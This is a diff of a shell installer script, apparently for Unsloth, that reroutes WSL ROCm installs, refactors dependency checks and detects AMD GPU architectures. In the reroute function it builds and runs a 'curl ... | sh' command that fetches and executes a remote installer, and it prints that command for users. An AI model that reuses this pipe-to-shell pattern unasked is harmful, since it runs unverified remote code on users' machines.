+ # can't masquerade as it and then fail `wsl -d`. + # || true: no match is expected, not an error (script runs under set -e). + _rr_distros=$(wsl.exe -l -q 2>/dev/null | tr -d '\000\r') + _rr_target=$(printf '%s\n' "$_rr_distros" | grep -ixF "Ubuntu-24.04" | head -n1) || true + [ -n "$_rr_target" ] || { + substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN" + substep "No Ubuntu-24.04 WSL distro found; staying CPU-only. Install Ubuntu-24.04 and re-run there for GPU." "$C_WARN" + UNSLOTH_SKIP_ROCM_WSL_SETUP=1 + return 0 + } + + echo "" + substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN" + substep "Found an existing $_rr_target distro -- continuing the GPU install there." "$C_OK" + # A --local checkout can't be replayed via curl|sh (the repo isn't in the target + # distro), so tell the user to re-run there rather than silently run a different install. + if [ "$STUDIO_LOCAL_INSTALL" = true ]; then + substep "This is a --local install; re-run it from $_rr_target instead:" "$C_WARN" + substep " wsl -d $_rr_target -- bash -lc 'cd && ./install.sh --local'" "$C_WARN" + substep "Continuing CPU-only in Ubuntu ${_rr_ver:-this distro} for now." "$C_WARN" + # Unsupported distro, can't reroute a --local checkout: skip the origin ROCm bootstrap. + UNSLOTH_SKIP_ROCM_WSL_SETUP=1 + return 0 + fi + # Forward the caller's options/env (custom package/python/home) so the rerouted + # install matches what was asked for, not a default install. + _rr_q() { printf "'%s'" "$(printf '%s' "$1" | sed "s/'/'\\\\''/g")"; } + _rr_exports="set -o pipefail; export UNSLOTH_WSL_REROUTED=1" + [ "$_STUDIO_HOME_REDIRECT" = "env" ] && _rr_exports="$_rr_exports; export UNSLOTH_STUDIO_HOME=$(_rr_q "$STUDIO_HOME")" + # Forward explicit ROCm-bootstrap consent (e.g. Tauri) so the child auto-enables the + # GPU instead of falling back to the desktop-app prompt path. + [ "${UNSLOTH_ROCM_WSL_AUTO:-0}" = "1" ] && _rr_exports="$_rr_exports; export UNSLOTH_ROCM_WSL_AUTO=1" + # Forward a pinned torch index into the rerouted distro; dropping it would + # silently revert the child install to auto-detection. + [ -n "${UNSLOTH_TORCH_INDEX_URL:-}" ] && _rr_exports="$_rr_exports; export UNSLOTH_TORCH_INDEX_URL=$(_rr_q "$UNSLOTH_TORCH_INDEX_URL")" + [ -n "${UNSLOTH_TORCH_INDEX_FAMILY:-}" ] && _rr_exports="$_rr_exports; export UNSLOTH_TORCH_INDEX_FAMILY=$(_rr_q "$UNSLOTH_TORCH_INDEX_FAMILY")" + [ "$_SKIP_AUTOSTART" = true ] && _rr_exports="$_rr_exports; export UNSLOTH_SKIP_AUTOSTART=1" + _rr_args="" + [ "$PACKAGE_NAME" != "unsloth" ] && _rr_args="$_rr_args --package $(_rr_q "$PACKAGE_NAME")" + [ -n "$_USER_PYTHON" ] && _rr_args="$_rr_args --python $(_rr_q "$_USER_PYTHON")" + [ "$_VERBOSE" = true ] && _rr_args="$_rr_args --verbose" + [ "$TAURI_MODE" = true ] && _rr_args="$_rr_args --tauri" + if [ -n "${UNSLOTH_WSL_REROUTE_CMD:-}" ]; then + _rr_cmd="$UNSLOTH_WSL_REROUTE_CMD" # user took full control + elif [ -n "$_rr_args" ]; then + _rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh -s --$_rr_args" + else + _rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh" + fi + # pipefail so a failed curl in `curl | sh` isn't masked by sh exiting 0 on empty + # input (which would wrongly report success and exit 0 the parent installer). + _rr_rc=0 + wsl.exe -d "$_rr_target" -- bash -lc "$_rr_exports; $_rr_cmd" || _rr_rc=$? + if [ "$_rr_rc" -eq 0 ]; then + exit 0 + fi + # In Tauri mode the child uses exit 2 ([TAURI:NEED_SUDO]) to ask the desktop app to + # elevate for the target distro; the child already printed the NEED_SUDO line, so + # propagate the code instead of masking it as a reroute failure and dropping to CPU. + if [ "$TAURI_MODE" = true ] && [ "$_rr_rc" -eq 2 ]; then + exit 2 + fi + substep "Could not auto-continue in $_rr_target; run it yourself:" "$C_WARN" + substep " wsl -d $_rr_target -- bash -lc 'curl -fsSL https://unsloth.ai/install.sh | sh'" + substep "Continuing CPU-only in Ubuntu ${_rr_ver:-this distro} for now." "$C_WARN" + # Reroute failed; don't let the later bootstrap install ROCm into this unsupported + # distro -- stay CPU-only. + UNSLOTH_SKIP_ROCM_WSL_SETUP=1 + return 0 +} +_maybe_reroute_strixhalo_to_2404 || true + +# ── Check system dependencies ── +tauri_log "STEP" "Checking system dependencies" + +# Without the Xcode CLT, macOS still ships /usr/bin/git as a stub that errors and pops +# a GUI dialog, so `command -v git` is not enough -- only running it tells the truth. +_has_working_git() { + command -v git >/dev/null 2>&1 || return 1 + git --version >/dev/null 2>&1 +} + +# macOS system-dependency check. A function so tests/sh can sed-extract it; the old +# inline form was untestable, which is why this gate shipped broken. +# +# The consumer install needs no developer toolchain: uv is a prebuilt binary, CPython +# is uv-managed, llama.cpp/whisper.cpp/Node are prebuilt downloads, and triton is +# skipped on macOS. Only `--local` needs git, for the unsloth-zoo git+https URL. +_check_macos_deps() { + _clt_missing=false + xcode-select -p >/dev/null 2>&1 || _clt_missing=true + + if [ "$STUDIO_LOCAL_INSTALL" = true ] && ! _has_working_git; then + echo "" + step "deps" "git is required for --local installs" "$C_ERR" + substep "--local installs unsloth-zoo from git+https://github.com/unslothai/unsloth-zoo," + substep "which needs a working git. Install the Xcode Command Line Tools:" + substep " xcode-select --install" + substep "Then re-run this script. A normal (non---local) install needs no compiler" + substep "and no git -- it uses prebuilt binaries and wheels only." + tauri_log "NEED_XCODE_CLT" "git" + return 1 + fi + + if [ "$_clt_missing" = true ]; then + # Not fatal, and no GUI dialog: firing xcode-select --install and exiting is + # what stranded clean Macs. + step "deps" "no Xcode Command Line Tools (not required)" "$C_WARN" + substep "Unsloth installs prebuilt binaries and wheels, so no compiler is needed." + substep "Install them only for a llama.cpp source build: xcode-select --install" + elif command -v cmake >/dev/null 2>&1; then + step "deps" "all system dependencies found" + else + # cmake is only for a source build, so its absence is not fatal. + step "deps" "using prebuilt llama.cpp (cmake not found)" "$C_WARN" + substep "Install cmake only if you want a source build: brew install cmake" + fi + return 0 +} + +# Linux/WSL system-dependency check. Same split as macOS, and a function for the same +# reason: tests/sh can extract it. +# +# Only a download transport is required. cmake, gcc and the libcurl headers exist +# solely for a llama.cpp source build the consumer path never does -- unslothai/ +# llama.cpp publishes linux-x64/arm64 prebuilts for cpu, cuda12, cuda13, rocm and +# vulkan. Requiring them turned every non-apt distro into a hard exit 1 over unused +# tooling. git follows macOS: --local only. +_check_linux_deps() { + _transport_missing=false + if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then + _transport_missing=true + fi + + # Wanted, never required: git fetches the triton_kernels git+https requirement (a + # training speedup), the rest serve the optional source build. Warn, never stop. + _optional_missing="" + command -v cmake >/dev/null 2>&1 || _optional_missing="$_optional_missing cmake" + _has_working_git || _optional_missing="$_optional_missing git" + command -v gcc >/dev/null 2>&1 || _optional_missing="$_optional_missing build-essential" + command -v curl-config >/dev/null 2>&1 || _optional_missing="$_optional_missing libcurl4-openssl-dev" + # Parameter expansion, not `sed`: sed may be absent on a minimal image, and a + # failed `$(... | sed ...)` yields "" -- "all found" on a machine that has none. + _optional_missing="${_optional_missing# }" + + if [ "$STUDIO_LOCAL_INSTALL" = true ] && ! _has_working_git; then + echo "" + step "deps" "git is required for --local installs" "$C_ERR" + substep "--local installs unsloth-zoo from git+https://github.com/unslothai/unsloth-zoo," + substep "which needs git. Install it with your package manager, then re-run." + substep "A normal (non---local) install needs no git and no compiler." + return 1 + fi + + # The one fatal case: nothing can be downloaded. apt is the only distro family we + # can drive unattended. + if [ "$_transport_missing" = true ]; then + if command -v apt-get >/dev/null 2>&1; then + echo "" + step "deps" "missing: curl" "$C_WARN" + substep "Needed to download uv, Python and the prebuilt inference engine." + _smart_apt_install curl + echo "" + else + echo "" + step "deps" "missing: curl (or wget)" "$C_ERR" + substep "Unsloth needs one of them to download uv, Python and the prebuilt" + substep "inference engine. Install one, then re-run setup:" + substep " Fedora/RHEL: sudo dnf install curl" + substep " Arch: sudo pacman -S --needed curl" + substep " openSUSE: sudo zypper install curl" + return 1 + fi + fi + + # Try apt for the optional set too; failing only costs the features warned about + # below. + if [ -n "$_optional_missing" ] && command -v apt-get >/dev/null 2>&1; then + step "deps" "installing optional build tools: $_optional_missing" "$C_DIM" + # Subshell because _smart_apt_install exits rather than returns, so `|| true` + # alone would not catch it. _SMART_APT_OPTIONAL suppresses every escalation + # path, so no install hinges on a prompt for tools nothing here needs. + ( _SMART_APT_OPTIONAL=true; _smart_apt_install $_optional_missing ) || true + _optional_missing="" + command -v cmake >/dev/null 2>&1 || _optional_missing="$_optional_missing cmake" + _has_working_git || _optional_missing="$_optional_missing git" + command -v gcc >/dev/null 2>&1 || _optional_missing="$_optional_missing build-essential" + command -v curl-config >/dev/null 2>&1 || _optional_missing="$_optional_missing libcurl4-openssl-dev" + _optional_missing="${_optional_missing# }" + fi + + if [ -n "$_optional_missing" ]; then + step "deps" "using prebuilt llama.cpp (missing: $_optional_missing)" "$C_WARN" + substep "Not required to run: Unsloth downloads a prebuilt inference engine." + case " $_optional_missing " in + *" git "*) substep "Without git the triton kernels training speedup is skipped." ;; + esac + else + step "deps" "all system dependencies found" + fi + return 0 +} case "$OS" in macos) - # Xcode Command Line Tools provide the C/C++ compiler - if ! xcode-select -p >/dev/null 2>&1; then - echo "" - echo "==> Xcode Command Line Tools are required." - echo " Installing (a system dialog will appear)..." - xcode-select --install /dev/null || true - echo " After the installation completes, please re-run this script." - exit 1 - fi + _check_macos_deps || exit 1 ;; linux|wsl) - # curl or wget is needed for downloads; check both - if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then - MISSING="$MISSING curl" - fi - command -v gcc >/dev/null 2>&1 || MISSING="$MISSING build-essential" - # libcurl dev headers for llama.cpp HTTPS support - command -v curl-config >/dev/null 2>&1 || MISSING="$MISSING libcurl4-openssl-dev" + _check_linux_deps || exit 1 ;; esac -MISSING=$(echo "$MISSING" | sed 's/^ *//') - -if [ -n "$MISSING" ]; then - echo "" - step "deps" "missing: $MISSING" "$C_WARN" - substep "These are needed to build the GGUF inference engine." - - case "$OS" in - macos) - if ! command -v brew >/dev/null 2>&1; then - echo "" - echo " Homebrew is required to install them." - echo " Install Homebrew from https://brew.sh then re-run this script." - exit 1 - fi - brew install $MISSING /dev/null 2>&1; then - _smart_apt_install $MISSING - else - echo " Automatic system package installation is supported on apt-based" - echo " Linux distributions (Ubuntu/Debian) only. Please install the" - echo " missing dependencies with your package manager, then re-run setup:" - echo " $MISSING" - echo "" - echo " Examples:" - echo " Fedora/RHEL: sudo dnf install cmake git gcc gcc-c++ make libcurl-devel" - echo " Arch: sudo pacman -S --needed cmake git base-devel curl" - echo " openSUSE: sudo zypper install cmake git gcc gcc-c++ make libcurl-devel" - exit 1 - fi - ;; - esac - echo "" -else - step "deps" "all system dependencies found" -fi - # ── Install uv ── tauri_log "STEP" "Installing uv package manager" -UV_MIN_VERSION="0.7.22" +UV_MIN_VERSION="0.8.16" # When bytecode compilation is enabled, large installs can exceed uv's 60s default on slow machines. Default to 180s, preserving overrides ("0" disables). : "${UV_COMPILE_BYTECODE_TIMEOUT:=180}" export UV_COMPILE_BYTECODE_TIMEOUT +# uv >= 0.8.16 retries HTTP/2 streaming body errors; raise retries and read +# timeout for large wheel downloads. ":=" preserves any user override. +: "${UV_HTTP_RETRIES:=5}" +export UV_HTTP_RETRIES +: "${UV_HTTP_TIMEOUT:=180}" +export UV_HTTP_TIMEOUT + +# macOS: trust the system Keychain so uv uses SecureTransport instead of rustls. +# Required behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.) which +# present their own CA certificate. rustls (uv's default) ignores the Keychain +# and rejects intercepted connections with "invalid peer certificate: UnknownIssuer". +# Set both vars: UV_SYSTEM_CERTS is the modern one (uv >= 0.11), UV_NATIVE_TLS the +# legacy one understood by uv 0.8.16-0.10.x, which the installer keeps if already +# present (UV_MIN_VERSION) and which ignores UV_SYSTEM_CERTS. Mirror the choice onto +# both so it works on either uv. Opt out with UV_SYSTEM_CERTS=0. +if [ "$OS" = "macos" ]; then + : "${UV_SYSTEM_CERTS:=1}" + : "${UV_NATIVE_TLS:=$UV_SYSTEM_CERTS}" +fi +[ -n "${UV_SYSTEM_CERTS:-}" ] && export UV_SYSTEM_CERTS +[ -n "${UV_NATIVE_TLS:-}" ] && export UV_NATIVE_TLS + version_ge() { # returns 0 if $1 >= $2 _a=$1 @@ -1518,11 +2243,13 @@ tauri_log "STEP" "Creating virtual environment" mkdir -p "$STUDIO_HOME" _MIGRATED=false +# Empty so an inherited value can never masquerade as a probed torch version. +_PREV_TORCH_VER="" if [ -x "$VENV_DIR/bin/python" ]; then # why: matching guard to the .venv branch below -- in env-mode # $STUDIO_HOME is a user-chosen workspace, so refuse to nuke an - # existing $STUDIO_HOME/unsloth_studio that lacks Studio sentinels. + # existing $STUDIO_HOME/unsloth_studio that lacks Unsloth sentinels. # Accept the in-VENV ownership marker so partial-install retries are # not blocked. Sentinels must be regular files: -f follows symlinks # to files (the legitimate ln -s shim shape) but rejects directories @@ -1535,6 +2262,12 @@ if [ -x "$VENV_DIR/bin/python" ]; then echo " Move it aside or choose an empty UNSLOTH_STUDIO_HOME." >&2 exit 1 fi + # Record the existing venv's torch BEFORE the replacement moves it aside: a re-run + # rebuilds the venv for clean state, but must keep the torch release the user + # already has (see _previous_torch_pin below). Last line only: sitecustomize or + # import-hook noise on stdout must not corrupt the version. + _PREV_TORCH_VER=$("$VENV_DIR/bin/python" -c \ + "import torch; print(torch.__version__)" 2>/dev/null | tail -n 1 || true) # New layout already exists — replace only after preserving rollback copy. substep "preserving existing environment for rollback..." _start_studio_venv_replacement "$VENV_DIR" @@ -1543,7 +2276,7 @@ elif [ "$_STUDIO_HOME_REDIRECT" != "env" ] && [ -x "$STUDIO_HOME/.venv/bin/pytho # Skip in env-mode so we don't rm -rf an unrelated .venv at the # workspace root (e.g. user's existing project Python venv). # In no-torch mode, a missing torch package is expected; validate Python only. - substep "found legacy Studio environment, validating..." + substep "found legacy Unsloth environment, validating..." _legacy_ok=false if [ "$SKIP_TORCH" = true ]; then if "$STUDIO_HOME/.venv/bin/python" -c "import sys; print(sys.executable)" >/dev/null 2>&1; then @@ -1600,7 +2333,7 @@ if [ ! -x "$VENV_DIR/bin/python" ]; then fi fi -# Mark the freshly-created venv as Studio-owned so a partial install can be +# Mark the freshly-created venv as Unsloth-owned so a partial install can be # repaired by re-running install.sh; the env-mode deletion guard above accepts # this marker as the primary sentinel. if [ -x "$VENV_DIR/bin/python" ]; then @@ -1688,6 +2421,15 @@ if [ "$SKIP_TORCH" = false ] && [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; t TORCH_CONSTRAINT="torch>=2.6,<2.11.0" fi fi +# Companion (torchvision/torchaudio) constraints, bounded to torch's window. +# torchaudio 2.11 dropped its exact torch pin, so a bare companion next to a +# <2.11-capped torch resolves torchaudio 2.11 (verified: cpu leaf installed +# torch 2.10.0+cpu with torchaudio 2.11.0+cpu). torchvision still exact-pins +# torch and self-corrects, but is bounded for symmetry. Widened alongside the +# cu* torch window below; the torch-2.11 AMD paths (rocm7.2 / per-gfx / Strix) +# pin their own trio. +TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0" +TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0" # ── Resolve repo root (for --local installs) ── _REPO_ROOT="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)" @@ -1737,71 +2479,153 @@ _has_amd_rocm_gpu() { amd-smi list 2>/dev/null | awk '/^GPU[[:space:]]*[:\[][[:space:]]*[0-9]/{ found=1 } END{ exit !found }'; then return 0 elif [ -e /dev/kfd ] && \ - awk 'FNR==1{ gpu=0; amd=0 } /gpu_id/{ gpu=($2+0>0) } /vendor_id/{ amd=($2==4098) } \ - gpu && amd { found=1 } END{ exit !found }' \ + awk '/vendor_id/ && $2 == 4098 { found = 1 } END { exit !found }' \ /sys/class/kfd/kfd/topology/nodes/*/properties 2>/dev/null; then - # vendor_id 4098 = 0x1002 (AMD). NVIDIA open kernel module (driver - # 560+) can register KFD topology nodes with non-zero gpu_id but - # vendor_id 4318 (0x10DE). Require AMD vendor to avoid misrouting - # NVIDIA-only hosts to the ROCm install path. + # vendor_id 4098 = 0x1002 (AMD) marks a GPU node: the KFD CPU node + # reports vendor_id 0, so any 4098 node is an AMD GPU. NVIDIA's open + # kernel module (driver 560+) registers KFD nodes as vendor_id 4318 + # (0x10DE), so this never false-positives on NVIDIA-only hosts. + # The prior check also required a gpu_id line, but gpu_id is a SIBLING + # sysfs file, not a line in properties -- it never matched, so the + # fallback silently missed every ROCm-less AMD host (issue: fresh + # Arch/CachyOS boxes reporting "no GPU detected"). return 0 fi return 1 } -# ── Bounded command runner ── -# Runs a command under a 10s timeout when the `timeout` binary is available, -# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during -# driver init or after a reset) from hanging the installer: a timed-out probe -# exits nonzero and is treated exactly like a failed probe. No-op semantics on -# hosts without `timeout` (e.g. macOS) or when the probe is healthy. -_run_bounded() { - if command -v timeout >/dev/null 2>&1; then - timeout 10 "$@" - else - "$@" - fi +# Returns 0 if an AMD display GPU is on the PCI bus even when ROCm can't use it +# (e.g. a Strix Halo iGPU with no /dev/kfd). Only sharpens the "no GPU detected" +# hint. vendor 0x1002 = AMD/ATI; class 0x03* = display controller. +_amd_gpu_present_via_pci() { + [ -d /sys/bus/pci/devices ] || return 1 + for _pci_vendor in /sys/bus/pci/devices/*/vendor; do + [ -r "$_pci_vendor" ] || continue + read -r _v < "$_pci_vendor" 2>/dev/null || continue + [ "$_v" = "0x1002" ] || continue + _cls="${_pci_vendor%vendor}class" + [ -r "$_cls" ] || continue + read -r _c < "$_cls" 2>/dev/null || continue + case "$_c" in 0x03*) return 0 ;; esac + done + return 1 } -# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every -# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to -# the AMD card). Unset means all devices visible. nvidia-smi ignores this env -# var, so the probes below cannot see the distinction on their own. -_cvd_hides_nvidia() { - [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1 - _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]') - [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ] +# Map a gfx arch to the AMD pip index family (mirrors install.ps1 $archFamilyMap). +_amd_arch_index_family_for_gfx() { + case "$1" in + gfx1201|gfx1200) echo gfx120X-all ;; + gfx1151) echo gfx1151 ;; + gfx1150) echo gfx1150 ;; + gfx1152) echo gfx1152 ;; + gfx1103|gfx1102|gfx1101|gfx1100) echo gfx110X-all ;; + gfx1036|gfx1035|gfx1034|gfx1033|gfx1032|gfx1031|gfx1030) echo gfx103X-all ;; + gfx90a) echo gfx90a ;; + gfx908) echo gfx908 ;; + *) return 1 ;; + esac } -# ── NVIDIA usable-GPU helper ── -# Returns 0 (true) if an NVIDIA GPU is present and usable. -# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs, -# which the NVIDIA driver populates on Linux regardless of nvidia-smi state -# -- handles PATH gaps, subprocess timeouts, and driver init races that -# could otherwise cause nvidia-smi to fail and silence NVIDIA detection. -# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches -# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs. -_has_usable_nvidia_gpu() { - if _cvd_hides_nvidia; then - return 1 +# Map a GPU marketing name to gfx arch (kept in sync with install.ps1 nameArchTable). +_infer_amd_gfx_arch_from_gpu_name() { + case "$1" in + *9070*|*9080*) echo gfx1201 ;; + *9060*) echo gfx1200 ;; + *"8065S"*|*"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) echo gfx1151 ;; + *"890M"*|*"880M"*|*"Strix Point"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*) echo gfx1150 ;; + *"860M"*|*"840M"*|*"Krackan"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) echo gfx1152 ;; + *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*) echo gfx1102 ;; + *"RX 7800"*|*"RX 7700"*|*"PRO W7700"*|*"PRO V710"*) echo gfx1101 ;; + *"RX 7900"*|*"PRO W7900"*|*"PRO W7800"*) echo gfx1100 ;; + *"780M"*|*"760M"*|*"740M"*|*"Phoenix"*|*"Hawk Point"*|*"Z1 Extreme"*|*"Z2 Extreme"*) echo gfx1103 ;; + *"RX 6900"*|*"RX 6800"*|*"RX 6750"*|*"RX 6700"*|*"PRO W6800"*|*"PRO W6900"*) echo gfx1030 ;; + *"RX 6650"*|*"RX 6600"*|*"PRO W6600"*|*"PRO W6650"*) echo gfx1032 ;; + *"RX 6500"*|*"RX 6400"*|*"RX 6300"*|*"PRO W6400"*|*"PRO W6500"*) echo gfx1034 ;; + *) return 1 ;; + esac +} + +# Best-effort gfx inference when ROCm tools can't see the GPU (unslothai#7301). +# Mirrors install.ps1 arch resolution on Windows ($HasROCm false, $ROCmGfxArch set). +_infer_linux_amd_gfx_arch() { + if [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then + printf '%s\n' "$(printf '%s' "$UNSLOTH_ROCM_GFX_ARCH" | tr '[:upper:]' '[:lower:]')" + return 0 fi - _nvsmi="" - if command -v nvidia-smi >/dev/null 2>&1; then - _nvsmi="nvidia-smi" - elif [ -x "/usr/bin/nvidia-smi" ]; then - _nvsmi="/usr/bin/nvidia-smi" + # On WSL /proc/cpuinfo and lspci still report the host APU, but without the + # ROCDXG bridge (librocdxg over /dev/dxg) the AMD wheels can't reach the GPU; + # keep the CPU fallback there unless that runtime is present (the explicit + # override above still wins). Mirrors install_python_stack.py. + _gpu_evidence="" + if [ -e /dev/dxg ] || grep -qi microsoft /proc/version 2>/dev/null; then + for _d in /opt/rocm/lib /opt/rocm/lib64 /opt/rocm-*/lib /opt/rocm-*/lib64; do + { [ -e "$_d/librocdxg.so" ] || [ -e "$_d/librocdxg.so.1" ]; } && _rocdxg=1 && break + done + [ -n "${_rocdxg:-}" ] || return 1 + # WSL enumerates no PCI display device; /dev/dxg + librocdxg IS the + # GPU evidence there. + _gpu_evidence=1 + elif _amd_gpu_present_via_pci; then + _gpu_evidence=1 fi - if [ -n "$_nvsmi" ]; then - if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then - return 0 + # /proc/cpuinfo leaks the HOST CPU model into VMs/containers that received + # no AMD GPU, so the CPU-model text alone is not GPU evidence: require an + # AMD display device (PCI vendor 0x1002, class 0x03*) before trusting it. + # The lspci fallback below needs no gate; an AMD display line IS evidence. + if [ -n "$_gpu_evidence" ] && grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null; then + echo gfx1151 + return 0 + fi + if [ -n "$_gpu_evidence" ] && grep -qiE '890M|880M|Strix Point|HX 37[05]|AI 9 HX|AI 9 36[05]' /proc/cpuinfo 2>/dev/null; then + echo gfx1150 + return 0 + fi + if [ -n "$_gpu_evidence" ] && grep -qiE '860M|840M|Krackan|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33' /proc/cpuinfo 2>/dev/null; then + echo gfx1152 + return 0 + fi + if command -v lspci >/dev/null 2>&1; then + # A non-AMD controller can enumerate first (Intel/ASPEED before an AMD + # dGPU), so scan every display-class line and take the first AMD one + # that maps. The vendor guard is case-SENSITIVE (a -i "ATI" would match + # "CorporATIon" on every Intel/NVIDIA line); whole-line matching also + # survives the 0000: PCI domain prefix. Mirrors install_python_stack.py. + _amd_disp=$(lspci -nn 2>/dev/null | grep -E 'VGA compatible controller|3D controller|Display controller' | grep -E 'AMD|ATI' || true) + while IFS= read -r _ln; do + [ -n "$_ln" ] || continue + if _gfx=$(_infer_amd_gfx_arch_from_gpu_name "$_ln"); then + echo "$_gfx" + return 0 + fi + done </dev/null 2>&1; then + _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; rocminfo 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + fi + if [ -z "$_pg" ] && command -v amd-smi >/dev/null 2>&1; then + _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi list 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + if [ -z "$_pg" ]; then + _pg=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi static --asic 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) fi fi - # Fallback: NVIDIA driver exposes one subdir per GPU under this path. - if [ -d /proc/driver/nvidia/gpus ] && \ - [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then - return 0 - fi - return 1 + printf '%s\n' "$_pg" } # ── Detect GPU and choose PyTorch index URL ── @@ -1811,6 +2635,24 @@ _has_usable_nvidia_gpu() { get_torch_index_url() { _base="${UNSLOTH_PYTORCH_MIRROR:-https://download.pytorch.org/whl}" _base="${_base%/}" + # Explicit override -- skip ALL GPU probing (headless / container / CI / cross-install). + # UNSLOTH_TORCH_INDEX_URL wins (full URL, verbatim); _FAMILY is the leaf (cpu, cu128, ...) + # appended to the mirror base. Trim whitespace so a whitespace-only value is unset. + _url="${UNSLOTH_TORCH_INDEX_URL:-}" + _url="${_url#"${_url%%[![:space:]]*}"}"; _url="${_url%"${_url##*[![:space:]]}"}" + if [ -n "$_url" ]; then + # Trim trailing PATH slashes (a multi-slash path 404s on strict pip proxies) while + # preserving a ?query/#fragment token (a whole-URL strip would eat a "/"-ending token). + _url=$(_trim_index_path_slashes "$_url") + echo "$_url"; return + fi + _family="${UNSLOTH_TORCH_INDEX_FAMILY:-}" + _family="${_family#"${_family%%[![:space:]]*}"}"; _family="${_family%"${_family##*[![:space:]]}"}" + if [ -n "$_family" ]; then + while [ "${_family#/}" != "$_family" ]; do _family="${_family#/}"; done + while [ "${_family%/}" != "$_family" ]; do _family="${_family%/}"; done + echo "$_base/$_family"; return + fi # macOS: always CPU (no CUDA support) case "$(uname -s)" in Darwin) echo "$_base/cpu"; return ;; esac # Try nvidia-smi -- require the binary to actually list a usable GPU. @@ -1839,6 +2681,29 @@ get_torch_index_url() { if ! _has_amd_rocm_gpu; then echo "$_base/cpu"; return fi + # A generic rocm index is only safe when the gfx arch is readable: the + # Strix reroute (gfx1150/1151 -> arch-specific index) learns gfx from + # rocminfo/amd-smi, so if those are missing OR do not enumerate the GPU, an + # unknown-arch box might be Strix and would get the broken _grouped_mm + # wheels. Probe via the shared helper (override first, then rocminfo/amd-smi + # with visibility masks cleared); if the arch is unreadable, never guess a + # rocm index. A KFD-only host whose arch is still inferable from hardware + # IDs (PCI/cpuinfo/lspci) returns the cpu index and lets the runtime-less + # reroute below upgrade it to AMD per-arch wheels -- the reroute gate uses + # this same probe, so the handoff can't misfire. Only when inference fails + # too is CPU final, with the actionable warning. + _amd_gfx_probe=$(_probe_amd_gfx_arch) + if [ -z "$_amd_gfx_probe" ]; then + if _amd_inferred_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null) && \ + [ -n "$_amd_inferred_gfx" ] && \ + _amd_arch_index_family_for_gfx "$_amd_inferred_gfx" >/dev/null 2>&1; then + echo "[WARN] AMD GPU detected but rocminfo/amd-smi can't read its gfx arch -- inferring $_amd_inferred_gfx from hardware IDs." >&2 + echo "$_base/cpu"; return + fi + echo "[WARN] AMD GPU detected but its gfx arch can't be read (rocminfo/amd-smi missing or not enumerating the GPU) -- installing CPU-only PyTorch." >&2 + echo "[WARN] For GPU PyTorch, install or repair rocminfo/amd-smi (e.g. sudo pacman -S rocm-hip-sdk) and re-run this installer." >&2 + echo "$_base/cpu"; return + fi # AMD GPU confirmed -- detect ROCm version _rocm_tag="" _rocm_tag=$({ command -v amd-smi >/dev/null 2>&1 && \ @@ -1855,7 +2720,11 @@ get_torch_index_url() { { command -v rpm >/dev/null 2>&1 && \ ver="$(rpm -q --qf '%{VERSION}\n' rocm-core 2>/dev/null)" && \ [ -n "$ver" ] && \ - printf '%s\n' "$ver" | awk -F'[.-]' '{print "rocm"$1"."$2; exit}'; }) 2>/dev/null + printf '%s\n' "$ver" | awk -F'[.-]' '{print "rocm"$1"."$2; exit}'; }) 2>/dev/null || _rocm_tag="" + # ^ || guard: when EVERY version source is missing (e.g. rocminfo present + # but rocm-core not installed, so dpkg-query/rpm exit 1), the whole || + # chain fails and set -e would kill the installer BEFORE the actionable + # no-version WARN below -- exactly the fresh-install case it exists for. # Validate _rocm_tag: must match "rocmX.Y" with major >= 1 case "$_rocm_tag" in rocm[1-9]*.[0-9]*) : ;; # valid (major >= 1) @@ -1891,12 +2760,27 @@ get_torch_index_url() { esac return fi - # AMD GPU confirmed by rocminfo/amd-smi but ROCm version could not be - # read from any source (amd-smi, /opt/rocm/.info/version, hipconfig, - # dpkg, rpm). Warn explicitly rather than silently installing CPU PyTorch. - echo "[WARN] AMD GPU detected but ROCm version could not be determined -- falling back to CPU-only PyTorch" >&2 - echo "[WARN] Ensure one of the following is accessible: amd-smi, 